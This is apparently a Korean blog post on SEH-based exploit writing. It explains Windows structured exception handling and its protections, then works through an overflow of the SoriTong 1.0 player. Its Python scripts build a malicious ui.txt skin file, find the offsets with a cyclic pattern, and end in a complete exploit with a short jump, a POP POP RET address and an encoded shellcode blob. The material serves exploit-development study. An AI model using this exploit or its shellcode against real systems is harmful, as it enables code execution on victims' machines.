cgy12306

Exploit writing tutorial part 3 : SEH Based Exploits 본문

Windows/WinPwn

Exploit writing tutorial part 3 : SEH Based Exploits

cgy12306 2020. 4. 18. 12:51

예외 핸들러

예외 핸들러(Exception Handler)는 애플리케이션의 예외 발생에 대처하는 목적을 가진 애플리케이션 내부 코드 조각들을 의미한다.

try{
	일반 상황
}
catch{
	예외 상황
}

윈도우에서 보여주는 메시지(오류 팝업창)는 예외 핸들러에 의해 발생된다.

애플리케이션이 catch 코드로 이동하기 위해, 예외 핸들러 지시 포인터가 스택에 저장된다. 각각 코드 블럭은 고유의 스택 프레임을 가지게 되고, 예외 핸들러 지시 포인터는 이 스택 프레임에 포함된다. 프레임 기반 예외 핸들러에 대한 정보는 스택의 exception_registration 구조체 안에 저장된다. 이 구조체(SEH 레코드)는 8byte로 구성되어 있다.

메인 데이터 블록의 최상위 부분에 SEH 체인을 가리키는 포인터가 위치한다.

SEH 체인은 FS:[0] 체인으로 불리기도 한다.

첫 번째 SE 핸들러가 0x0012FF40에 있다. 다음 next SEH 주소는 다음 SEH 레코드를 가지고 있다. 현재 SEH 체인에서 예외 핸들러는 0x7C839AD8을 가리키고 있다. 이것은 OS 핸들러를 의미한다.

두번째 SEH 레코드에서 next SEH 레코드는 0x0012FFE0를 가리키고 있고, 예외 핸들러는 0x0040109A를 가리키고 있따. 이것은 애플리케이션 핸들러이다.

이렇게 마지막 SEH 레코드를 보면 0xffffffff로 되어 있다. 이것은 해당 레코드가 체인의 마지막 부분임을 의미한다. 그리고 핸들러는 0x7C839AD8을 가리키고 있는데, 이것은 OS 핸들러를 의미한다.

보호 기법

XOR

Windows XP SP1 부터 예외 핸들러가 호출되기 전에 서로 XOR 연산하여 모든 레지스터가 0이 되게 만든다. 만약 첫 번째 예외 발생 시 하나 이상의 레지스터가 공격자가 제작한 페이로드를 가리키고 있다고 하더라도 예외 핸들러가 발동하면 레지스터들은 모두 초기화 된다.

DEP & Stack Cookies

DEP(Data Execution Prevention)는 메모리에서 임의의 코드가 실행되는 것을 방지해주는 보호기법이다.

Stack Cookies는 ebp 앞에 특정한 값을 넣어서 프로그램이 종료될 때 이 값이 변조됐는지 검사하는 기법이다.

여섯 번 째 문서에서 다룰것이다.

SafeSEH

SEH를 이용해 어떻게 쉘코드로 점프할 것인가?

예외가 주어졌을 때 사용하는 SE 핸들러를 가리키는 포인터를 덮어쓸 수 있다면, 그리고 애플리케이션이 또 다른 예외를 발생시키게 만들 수 있다면, 해당 애플리케이션이 실제 예외 핸들러 함수로 가지 않고 공격자가 만든 쉘코드로 강제 이동하도록 만들 수 있다.

이를 위해 페이로드는 다음과 같은 작업을 수행할 수 있어야 한다.

  1. 예외 발생
  2. SEH 레코드를 가리키는 포인터를 점프 코드로 덮어 쓴다.
  3. 다음 SEH로 흐름을 돌아가게 한뒤 점프 코드를 실행할 수 있는 명령을 가리키는 포인터로 SE 핸들러를 덮어쓴다.
  4. 쉘코드는 덮어 쓴 SE 핸들러 바로 뒤에 위치해야 한다.

일반적인 페이로드는 다음과 같은 형태이다

junk | nSEH | SEH | nop-Shellcode

soriton 1.0을 이용하여 취약점을 분석해본다.

우선 ui.txt 스킨 파일을 생성해서 C:\Program Files\SoriTong\Skin\Default에 넣어준다.

from pwn import *

payload = 'A'*5000

f = open('./ui.txt', 'w')
f.write(payload)
f.close

그러고나서 Immunity 디버거를 이용해서 soritiong.exe를 불러온다.

실행을 시켜보면 애플리케이션이 멈추게 된다.

0x00422E33에서 멈추게 된다. 이 시점에서 ESP는 0x0012DA14를 가리키고 있다.

스택을 내리다 보면 FFFFFFFF를 발견할 수 있는데, 이것이 SEH 체인의 마지막 부분임을 추측할 수 있다.

첫 번째 쓰레드를 우클릭해서 dump thread data block를 클릭하면 SEH 체인을 가리키는 포인터를 볼 수 있따.

위처럼 SEH 체인은 정상적으로 작동했다. 우리가 의도한 예외가 발생했고, 애플리케이션이 SEH 체인으로 점프를 한 것이다.

View 메뉴에서 SEH Chain을 확인해봤다.

SE 핸들러 주소는 예외를 처리할때 필요한 내용을 담고 있는 주소를 가리키고 있어야 하지만 A로 채워져있다. 즉, 우리가 핸들러 주소를 제어할 수 있다는 의미가 된다.

windbg에서 g 명령으로 프로그램을 실행하면 예외가 발생했다는 것을 확인할 수 있다.

!analyze -v 명령을 이용해 예외처리를 분석해보자.

예외는 ffffffff에서 발생한 것으로 기록되었다. 이것은 애플리케이션이 오버플로우를 처리하기 위해 예외 핸들러를 사용하지 않았다는 것을 의미한다. TEB를 덤프해보자.

0x0012fd64에 있는 SEH 체인을 가리키고 있는 것을 확인할 수 있다.

해당 주소로 가서 확인해보자.

A로 가득차있는 것을 확인할 수 있다.

예외 체인을 살펴보자.

예외 핸들러를 덮어쓰는 것을 성공했다. 이제 애플리케이션이 예외를 포착하도록 만들어본다. 프로그램을 재실행 해보자.

eip가 0x41414141을 가리키는 것을 확인했다.

!exploitable을 다운받아 windbg 폴더아래 winext에 저장한다. 이것은 충돌, 예외 발생, 접근 위반 등의 상태일 때 공격코드로 전환가능 여부를 판단해 주는 모듈이다.

예외가 발생한 다음 이 모듈을 실행하면 EXPLOITABLE이라고 뜨는 것을 볼 수 있다.

이런 결과가 나오면 공격코드로 전환이 가능하다는 뜻이다.

SEH 기반 공격 코드 형태를 갖는 쉘코드를 어떻게 찾을 것인가?

우선 nextSEH와 SEH의 오프셋을 찾는다. 그 뒤 SEH를 POP POP RET으로 덮어 쓰고, nextSEH에 쉘코드 주소를 가리키게 하면 된다.

오프셋을 찾기 위해 준비할 사항들

  1. nextSEH를 덮어 쓸 공간
  2. 현재 SE 핸들러를 덮어쓸 공간 (반드시 nextSEH 다음에 위치해야 함)
  3. 쉘코드

우선 오프셋을 구하는 코드를 작성한다.

from pwn import *

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'


f = open('./ui.txt', 'w')
f.write(payload)
f.close

SEH 핸들러에 41367441이라는 숫자가 기록되어 있다.

이걸로 두가지 사실을 도출할 수 있다.

  • SE 핸들러는 588바이트 오프셋에 위치한다.
  • nextSEH를 가리키는 포인터는 588-4 byte 오프셋에 위치한다.

덮어쓴 SE 핸들러 바로 다음에 쉘코드가 위치해야 하므로 쉘코드는 0x0012fd64 + 4byte + 4byte에 위치해야 한다.

junk | nextSEH 0x0012fd64 | SEH | Shellcode

short jump를 수행하는 명령어는 기계어로 'eb'이고 뒤에 점프할 거리를 적어주면 된다. 6byte 점프를 수행하는 기계어는 'eb 06'이 되는데 명령어 패치는 4byte 단위로 수행되기 때문에 2개의 NOP을 추가해서 단위를 맞춰주면 된다. 결론적으로 next SEh는 0xeb, 0x06, 0x90, 0x90으로 덮어써야 한다.

⇒ 6byte = [90 90 SEH(4byte]

SEH 기반 공격에서 POP POP RET이 어떻게 작동할 수 있는가?

예외 발생 시, 예외 수행기는 고유의 스택 프레임을 생성한다. 그 다음 새롭게 만든 스택에 에러 핸들러에서 가져온 요소들을 담는다. EH 구조체 중 하나의 필드인 EstablisherFrame 이라는 것이 있다. 이 필드는 프로그램 스택에 삽입된 예외 등록 레코드의 주소(next SEH)를 가리키고 있다. 핸들러가 호출되면 이와 동일한 주소(next SEH)가 ESP+8에 위치하게 된다.

스택 프레임이 생성될때

typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) ( 
    IN PEXCEPTION_RECORD ExceptionRecord, 
    IN ULONG EstablisherFrame, 
    IN OUT PCONTEXT ContextRecord, 
    IN OUT PDISPATCHER_CONTEXT DispatcherContext 
);

위의 구조체 형태로 스택에 쌓이게 된다.

참고 : https://5kyc1ad.tistory.com/308

공격코드 제작

0x100106fb에 위치한 코드를 이용하겠다.

공격 코드는 다음과 같다.

A 584개 | 0xeb,0x06,0x90,0x90 | 0x100116fd | NOP | Shellcode

from pwn import *

shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'

payload  = 'A' * 584
payload += '\xeb\x06\x90\x90'
payload += p32(0x100106fb)
payload += shellcode
payload += '\x90' * 1000


f = open('./ui.txt', 'w')
f.write(payload)
f.close

Comments